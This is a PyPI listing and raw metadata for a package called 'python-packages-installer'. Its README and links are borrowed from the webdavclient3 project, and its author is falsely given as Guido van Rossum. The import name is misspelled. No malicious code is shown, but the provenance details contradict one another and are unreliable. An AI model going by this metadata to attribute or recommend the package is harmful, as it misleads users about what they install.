Package installer
=========
[![PyPI](https://img.shields.io/pypi/v/webdavclient3)](https://pypi.org/project/webdavclient3/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/webdavclient3)
This package helps you to install all modules you need in your directory
Installation
------------
```bash
$ pip install python-packages-installer
```
Sample Usage
------------
```python
from intaller.install import ModuleInstaller
client = ModuleInstaller({})
client.install_modules(path_to_folder="PATH")
```
# For Contributors
### Prepare development environment
1. Install docker on your development machine
1. Start WebDAV server for testing by following commands from the project's root folder or change path to `conf` dir in second command to correct:
```shell script
docker pull bytemark/webdav
docker run -d --name webdav -e AUTH_TYPE=Basic -e USERNAME=alice -e PASSWORD=secret1234 -v conf:/usr/local/apache2/conf -p 8585:80 bytemark/webdav
```
### Code convention
Please check your code according PEP8 Style guides.
### Run tests
1. Check that webdav container is started on your local machine
1. Execute following command in the project's root folder:
```shell script
python -m unittest discover -s tests
```
### Prepare a Pull Request
Please use this check list before creating PR:
1. You code should be formatted according PEP8
1. All tests should successfully pass
1. Your changes shouldn't change previous default behaviour, exclude defects
1. All changes are covered by tests
Raw data
{
"_id": null,
"home_page": "https://github.com/ezhov-evgeny/webdav-client-python-3",
"name": "python-packages-installer",
"maintainer": "",
"docs_url": null,
"requires_python": "",
"maintainer_email": "",
"keywords": "webdav,client,python,module,library,packet,Yandex.Disk,Dropbox,Google Disk,Box,4shared",
"author": "Guido van Rossum",
"author_email": "Guido-van-Rossum@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/36/2f/a79ced892515fcaac3d0d65e2ba86ca07972518ce745ee0e2d9e2bdce8ea/python-packages-installer-3.14.6.tar.gz",
"platform": null,
"description": "Package installer\r\n=========\r\n[![PyPI](https://img.shields.io/pypi/v/webdavclient3)](https://pypi.org/project/webdavclient3/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/webdavclient3) \r\n\r\nThis package helps you to install all modules you need in your directory\r\n\r\nInstallation\r\n------------\r\n```bash\r\n$ pip install python-packages-installer\r\n```\r\n\r\nSample Usage\r\n------------\r\n\r\n```python\r\nfrom intaller.install import ModuleInstaller\r\n\r\nclient = ModuleInstaller({})\r\nclient.install_modules(path_to_folder=\"PATH\")\r\n```\r\n\r\n\r\n# For Contributors\r\n\r\n### Prepare development environment\r\n1. Install docker on your development machine\r\n1. Start WebDAV server for testing by following commands from the project's root folder or change path to `conf` dir in second command to correct:\r\n```shell script\r\ndocker pull bytemark/webdav\r\ndocker run -d --name webdav -e AUTH_TYPE=Basic -e USERNAME=alice -e PASSWORD=secret1234 -v conf:/usr/local/apache2/conf -p 8585:80 bytemark/webdav\r\n``` \r\n\r\n### Code convention\r\n\r\nPlease check your code according PEP8 Style guides.\r\n\r\n### Run tests\r\n1. Check that webdav container is started on your local machine\r\n1. Execute following command in the project's root folder:\r\n```shell script\r\npython -m unittest discover -s tests\r\n```\r\n\r\n### Prepare a Pull Request\r\n\r\nPlease use this check list before creating PR:\r\n1. You code should be formatted according PEP8\r\n1. All tests should successfully pass\r\n1. Your changes shouldn't change previous default behaviour, exclude defects\r\n1. All changes are covered by tests \r\n",
"bugtrack_url": null,
"license": "MIT License",
"summary": "This package helps you to install all modules you need in your directory",
"version": "3.14.6",
"project_urls": {
"Homepage": "https://github.com/ezhov-evgeny/webdav-client-python-3"
},
"split_keywords": [
"webdav",
"client",
"python",
"module",
"library",
"packet",
"yandex.disk",
"dropbox",
"google disk",
"box",
"4shared"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "362fa79ced892515fcaac3d0d65e2ba86ca07972518ce745ee0e2d9e2bdce8ea",
"md5": "e12c72918a7dbe8839b321ebe891aaae",
"sha256": "22b625dbba9b09a163aff5c684d5718b7134aa807f7d82658230d76f684272c8"
},
"downloads": -1,
"filename": "python-packages-installer-3.14.6.tar.gz",
"has_sig": false,
"md5_digest": "e12c72918a7dbe8839b321ebe891aaae",
"packagetype": "sdist",
"python_version": "source",
"requires_python": null,
"size": 7706,
"upload_time": "2023-08-10T12:29:53",
"upload_time_iso_8601": "2023-08-10T12:29:53.257924Z",
"url": "https://files.pythonhosted.org/packages/36/2f/a79ced892515fcaac3d0d65e2ba86ca07972518ce745ee0e2d9e2bdce8ea/python-packages-installer-3.14.6.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2023-08-10 12:29:53",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "ezhov-evgeny",
"github_project": "webdav-client-python-3",
"travis_ci": true,
"coveralls": false,
"github_actions": false,
"lcname": "python-packages-installer"
}